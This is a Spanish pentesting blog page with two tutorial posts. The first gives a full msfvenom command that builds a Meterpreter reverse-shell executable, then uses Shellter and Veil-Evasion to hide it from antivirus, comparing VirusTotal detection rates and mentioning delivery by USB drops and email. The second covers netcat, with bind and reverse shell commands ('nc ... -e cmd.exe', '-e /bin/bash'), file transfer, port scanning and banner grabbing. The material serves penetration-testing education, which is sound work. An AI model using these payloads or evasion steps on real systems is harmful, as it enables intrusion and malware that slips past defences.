Páginas

16 julio, 2020

Shellter y Veil-Evasion: Evasión de antivirus ocultando shellcodes de binarios

Hay diversas técnicas para establecer una sesión hacia una máquina remota. Una de ellas es la generación de un fichero binario que sea ejecutado por la víctima, este binario tendrá un payload configurado que nos proporcionará una shell remota estableciendo una conexión directa o inversa hacia el equipo de la víctima, consiguiendo así una sesión en el mismo contexto de integridad del usuario que ejecutó el binario.

Se trata de un tipo de ataque client-side donde será el usuario final quien interactúe ejecutando el fichero malicioso. La forma de envío de estos ejecutables hacia la máquina remota sin tener una sesión previa puede ser de muchas formas: En el caso de tener acceso físico a la organización distribuir unidades externas usb con el binario esperando que alguien lo ejecute o envío de emails en el que se adjunte el fichero o un hipervínculo que redirige a una web externa donde se descargará (esto suele ser muy habitual). 

El principal "inconveniente" que nos encontramos como pentesters a la hora de ejecutar este método es que estos binarios ya sea por su contenido, sus firmas, morfología, etc. es probable que sea detectado y bloqueado por los fabricantes de antivirus o antimalware. 

Una forma de eludir binarios para evitar ser detectados es aplicar una capa de ocultación en su payload. Los encoders es una opción pero no suelen ser efectivos, sin embargo existen herramientas como Shellter y Veil-Evasión que generan sus propios payloads predefinidos utilizando crypters entre otras técnicas de ofuscación y que los hacen menos detectables para los sistemas de antivirus.

Comparativa de detección por antivirus de binarios con payloads maliciosos

msfvenom

msfvenom se trata de una herramienta que combina msfpayload para la generación de payloads y msfencode para la "ocultación" de payloads. 

Podemos generar binarios de forma sencilla estableciendo una serie de parámetros como puede ser la dirección IP y puerto a la que se conectará la máquina remota cuando ejecute el binario, tipo de arquitectura, payload, enconder (por defecto usará shikata_ga_nai) y caracteres de escape que puedan ocasionar algún tipo de error en la generación del binario.

Para generar un payload que establezca una conexión inversa con un Meterpreter y que sea compatible con sistemas Windows de arquitecturas x86 de 32 bits. 
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.19 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe > shell.exe
Generar binario malicioso payload meterpreter con msfvenom.
Figura 1: Generar binario malicioso payload meterpreter con msfvenom.

En virustotal.com podemos analizar en varios motores de antivirus el binario generado con msfvenom y conocer que antivirus lo detectan como malicioso y cuales no. Como se ve en la captura ha sido analizado por 71 antivirus de los cuales lo han detectado 56.

Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.
Figura 2: Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.


Shellter Framework

Shellter Framework se trata de una herramienta/framework con la que podemos elegir unos binarios preestablecidos ubicados en /usr/share/windows-binaries el que escojamos se le añadirá un payload con utilizando crypters dificultando así la detección por los antivirus.

Ejecutamos Shellter e indicamos el binario, en este caso vncviewer.exe.

Shellter - Seleccionar binario vncviewer.exe
Figura 3: Shellter - Seleccionar binario vncviewer.exe.

Seleccionamos el tipo de payload ya predefinidos para aplicar en el binario anterior y una IP y puerto local de la máquina atacante para establecer la conexión con la máquina remota cuando ejecute el binario.

Shellter - Seleccionar y configurar payload en el binario vncviewer.exe
Figura 4: Shellter - Seleccionar y configurar payload en el binario vncviewer.exe.

Una vez generado el binario por Shellter comprobamos la detección en virustotal. En este ocasión vemos como el mismo tipo de payload ha sido detectado por 22 antivirus de un total de 69.

Detección del binario malicioso generado con Shellter en VirusTotal.com
Figura 5: Detección del binario malicioso generado con Shellter en VirusTotal.com.


Veil-Evasion Framework

Veil-Evasion Framework se trata de otra alternativa a Shellter. Con la misma idea dispone de una gran cantidad de payload predefinidos en diversos lenguajes, no es necesario escoger un binario como en el caso de Shellter podemos generar nuestro propio binario aplicando el payload que queramos.

Ejecutamos el Veil-Evasion Framework, con use 1 elegimos la modalidad de Evasion, listamos los payloads disponibles con list.

Veil-Framework - Seleccionar tipo y lista de payloads disponibles
Figura 6: Veil-Framework - Seleccionar tipo y lista de payloads disponibles.

Como ejemplo desde la lista seleccionamos el número que corresponde al payload "go/meterpreter/rev_tcp". Con set LHOST y set LPORT establecemos la dirección IP y puerto local a la que se conectará la máquina remota y generamos el binario con generate.

Veil-Framework - Configurar payload y generar binario.
Figura 7: Veil-Framework - Configurar payload y generar binario.

También podemos generar estos binarios de forma no interactiva sin necesidad de interactuar ni ejecutar el framework completamente. Siguiendo el ejemplo anterior sería algo así.
./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 10.0.0.19 --port 4444 -o shell2
Figura 8: Veil-Framework CLI - Configurar y generar binario en una sola línea de instrucción.

Finalmente subimos este binario para analizarlo en virustotal y compararlo con Shellter. La detección de antivirus es de 43 de 70. Aunque es cierto que se trata de otro tipo de payload, la detección es más elevada que en el caso de Shellter.

Detección del binario malicioso generado con Veil-Framework en VirusTotal.com
Figura 9: Detección del binario malicioso generado con Veil-Framework en VirusTotal.com.

Conclusiones

Vistas las comparativas de detección, msfvenom quedaría descartado y Shellter se colocaría en una mejor posición respecto a Veil-Evasion. 

Lógicamente esto no evita el ser detectados pero se trata de una técnica más que podemos aplicar de forma rápida y sencilla para evitar que nuestro binario con una shellcode sea detectado por un número determinado de antivirus pudiendo así facilitar una intrusión a un sistema de forma directa tipo client-side en un ejercicio de penteting.

Saludos!

06 julio, 2020

Conexiones directas e inversas con Netcat (nc): Obteniendo shells, transferencia de ficheros, banner grabbing y TCP/UDP Scan

Netcat es una herramienta de red que permite a través de intérprete de comandos abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP.

Para ver ejemplos tendremos una máquina Kali (10.0.0.10) con netcat ya instalado y una máquina Windows (10.0.0.19) donde podemos descargar y usar los binarios de netcat para Windows.

Un ejemplo de uso sencillo donde podemos enviarnos información de texto de una máquina a otra como si de un chat se tratara.

nc sería el comando para invocar a netcat. Windows se queda a la escucha -l a espera de establecer la conexión, en modo verbose -v, en el puerto 1190 -p.
nc -lvp 1190
Kali se conecta iniciando la conexión a la dirección IP de la máquina Windows por el puerto 1190.
nc 10.0.0.10 1190
Figura 1: Conexión con netcat nc.


Ejecutando shells en tipo de conexiones directas e inversas


Figura 2: Esquema de conexiones de shells directas e inversas.

En los próximos escenarios se usarán las siguientes máquinas:
  • Kali: 10.0.0.10
  • Windows: 10.0.0.19
  • Puerto de ejemplo: 1190

Conexión directa

Para crear un conexiones directas entre las máquinas Kali y Windows, la máquina víctima se pondrá a la escucha en un puerto y la máquina atacante se conectará directamente a ella estableciendo la conexión. Estas conexiones pueden ser rechazas por el firewall de la máquina víctima ya que inicialmente la conexión es establecida por la máquina atacante.
  • Escenario A: Kali será el atacante y Windows será la víctima.
Windows se pondrá a la escucha en el puerto 1190 ejecutando (ofreciendo ya que está en modo listen -l) una consola Powershell -e.
nc -lvp 1190 -e powershell.exe
Kali se conectará de forma directa estableciendo una conexión a la IP y puerto de la máquina Windows consiguiendo así la Powershell ofrecida.
nc 10.0.0.10 1190
Figura 2: Conexión directa Powershell. Windows listen Kali conecta.
  • Escenario B: Kali será la víctima y Windows será el atancate.
Para crear una conexión directa desde una máquina Windows a una máquina Kali (al contrario que el ejemplo anterior).

Kali se pondrá a la escucha en el puerto 1190 sirviendo una shell /bin/bash para ser ejecutada.
nc -lvp 1190 -e /bin/bash
Windows se conectará a la IP y puerto de la máquina Kali y recibirá la ejecución ofrecida, en este caso una shell bash.
nc 10.0.0.19 1190
Figura 3: Conexión directa /bin/bash. Kali listen Windows conecta.

Conexión inversa

Para crear conexiones inversas entre las máquinas Kali y Windows, la máquina atacante se pondrá en un puerto a la escucha y la máquina víctima se conectará a ella. Estas conexiones tienen un mayor éxito de ser establecidas ya que es la máquina víctima es quien inicia la conexión hacia la máquina atacante y esto evitará un posible bloqueo de la conexión en el firewall del equipo víctima.
  • Escenario A: Kali será el atacante y Windows será la víctima.
Kali será el atacante que se pondrá a la escucha en el puerto 1190 esperando establecer una conexión.
nc -lvp 1190
Windows será la víctima que se conectará a la máquina Kali ejecutando una cmd en la máquina que espera la conexión que será la máquina atacante. Kali recibirá la conexión y la cmd de la máquina víctima.
nc 10.0.0.19 1190 -e cmd.exe
Figura 5: Conexión inversa cmd. Kali listen Windows connecta.
  • Escenario B: Windows será el atacante y Kali será la víctima.
Al contrario que el ejemplo anterior, ahora la máquina Windows será la atacante para recibir una shell bash de la máquina víctima Kali.

Windows es la máquina atacante que se pone a la escucha en el puerto 1190 esperando recibir una conexión por parte de la máquina víctima Kali que tendrá la ejecución de un shell bash. 
nc -lvp 1190
Kali es la máquina víctima que se conecta a la IP y puerto de la máquina atacante ejecutando y consiguiendo así una shell bash para la máquina atacante Windows. 
nc 10.0.0.10 1190 -e /bin/bash
Figura 4: Conexión inversa /bin/bash. Windows listen Kali conecta.

El tráfico generado con netcat no está cifrado por lo que es posible capturarlo y visualizarlo en texto plano.

Figura 6: Análisis del tráfico generado con netcat.

Existe una alternativa similar a netcat llamada cryptcat que emplea comunicaciones cifradas, se trata de un proyecto que no se actualizada desde 2005 está desarrollado en lenguaje C su código fuente está disponible pero será necesario compilarlo con Visual Studio y generar el binario para sistemas Windows.

Transferencia de ficheros

En estos escenarios será el mismo enfoque en ambos, transferir un fichero desde la máquina atacante a la máquina víctima. 

La diferencia radica en el sentido de las conexiones, que máquina estará a la escucha y cual establecerá la primera conexión.
  • Escenario A: Envío de un fichero desde la máquina atacante que establece la conexión inicial, hacia la máquina víctima que permanece a la escucha.
Kali será la máquina desde donde queremos enviar el fichero hacia la máquina remota. Establecemos la conexión a la IP y puerto de la máquina Windows indicando el fichero a transferir como entrada de la conexión con el signo menor que <
nc 10.0.0.10 1190 < file.exe
Windows recibirá el fichero manteniéndose a la escucha en el puerto 1190 esperando recibir el fichero redireccionando su salida con el signo mayor que >.
nc -lvp 1190 > file.exe
Figura 7: Transferencia de ficheros con netcat.

  • Escenario B: Envío de un fichero desde la máquina atacante que permanece a la escucha, hacia la máquina víctima que establece la conexión inicial.
Otra forma de hacerlo sería invirtiendo las conexiones de escucha, aplicando la misma finalidad.

Desde la máquina Kali nos ponemos a la escucha con el fichero.
nc -lvp 1190 < file.exe
Desde la máquina remota Windows establecemos la conexión a la IP y puerto de la máquina Kali indicando como salida el fichero a recibir.
nc 10.0.0.19 1190 > file.exe
Figura 8: Transferencia de ficheros con netcat.

Transferencia de directorios

Para transferir directorios podemos usar el mismo método que enviar un archivo con la diferencia de que previamente podemos comprimir o empaquetar el directorio con tar o zip para posteriormente desempaquetarlo en la máquina destino.

Kali será la máquina donde estará el directorio que queremos transferir, empaquetamos el directorio en un fichero comprimido, hacemos un cat y el fichero comprimido concatenando la salida con una pleca | a netcat donde nos ponemos a la escucha en el puerto 1190 a la espera de recibir una conexión. 
zip data.zip data
cat data.zip | nc -lvp 1190 
Windows será la máquina que recibirá el fichero comprimido que contendrá el directorio, establecemos la conexión a la IP y puerto de la máquina Kali indicando una redirección > y un nombre para el fichero a recibir.
nc 10.0.0.10 1190 > data.zip
Figura 9: Transferencia de directorios (empaquetando el directorio) con netcat.

Envío de información en tiempo real

Com ejemplo usaremos netcat para la transferencia de datos a tiempo real como puede ser un fichero de log.

Kali será la máquina donde se alojará el fichero de log que registra los accesos a un servidor web (/var/log/apache2/access.log), con tail -f e indicando el fichero de log veríamos en pantalla la información actualizándose de forma dinámica en tiempo real, concatenando la salida con un pipe | a netcat IP y puerto hacia la máquina remota Windows que estará a la escucha.
tail -f /var/log/apache2/access.log | nc 10.0.0.10 1190
Windows será la máquina que estará a la escucha en el puerto 1190 a la espera de recibir datos del fichero de log enviado desde la máquina Kali.
nc -lvp 1190
Figura 10: Envío de información en tiempo real de un fichero log con netcat.

Otros usos de netcat

TCP Scan

Podemos usar netcat como herramienta simple para el escaneo de puertos hacia una IP remota, indicando un rango de puertos. El modo de escaneo por defecto es TCP y nos mostrará aquellos puertos y el nombre del servicio/protocolo asociado en caso de que el puerto esté abierto, los puertos cerrados no los mostrará.
  • -v: verbose
  • -z: modo zero-i/o (solo informe de estado de conexión)
  • -n: solo números IP
nc -vzn 10.0.0.11 21-80
Figura 11: TCP Scan - Escaneo de puertos en modo TCP con netcat. 


UDP Scan

Nos permite hacer el mismo escaneo pero usando un modo UDP (parámetro -u). Nos mostrará todos los puertos escaneados, indicando cualquier está abiertos y cerrados, en el caso de los abiertos nos indicará el nombre del servicio/protocolo asociado a ese puerto.
  • -u: modo UDP
nc -vzu 10.0.0.11 21-80
Figura 12: UDP Scan - Escaneo de puertos en modo UDP con netcat.


Banner Grabbing

Por último podemos usar netcat para intentar obtener la información del banner de servicios abiertos en las máquinas remotas. Esto se conoce como técnicas Banner Grabbing.
nc 10.0.0.11 22
nc 10.0.0.11 21
Figura 13: Banner Grabbing - Obteniendo información de versión de servicios SSH y FTP con netcat.


Web de referencia

Reverse Shell Generator: https://www.revshells.com


Conclusiones

En un principio puede resultar confuso entender que diferencias existen entre las conexiones directas e inversas con netcat. Para tenerlo claro hay que entender quién será la máquina atacante y quien será la víctima.

En una perspectiva desde una máquina atacante a una máquina víctima. Las conexiones directas el atacante establecerá la conexión inicial conectándose a un puerto a la escucha establecido en la máquina víctima. Las conexiones inversas el atacante se pondrá en un puerto a la escucha esperando recibir un inicio de conexión desde la máquina víctima proporcionando al atacante una shell interactiva en su ejecución.

Aplicando estos conceptos podemos entender el funcionamiento de conexiones que usa Metasploit para ofrecernos un Meterpreter o una Shell de forma directa o inversa. Un ejemplo sería un handler a la escucha y la construcción de un binario ejecutable donde su payload puede ser una instrucción netcat ejecutando una shell o cualquier otro código que deseemos.

Por otro lado, es interesante conocer que con netcat tenemos la posibilidad de realizar TCP/UDP Scan y Banner Grabbing a máquinas remotas. Es cierto que para esto ya tenemos nmap entre otras herramientas pero no está de más tenerlo en cuenta. 

Saludos!

Entradas Populares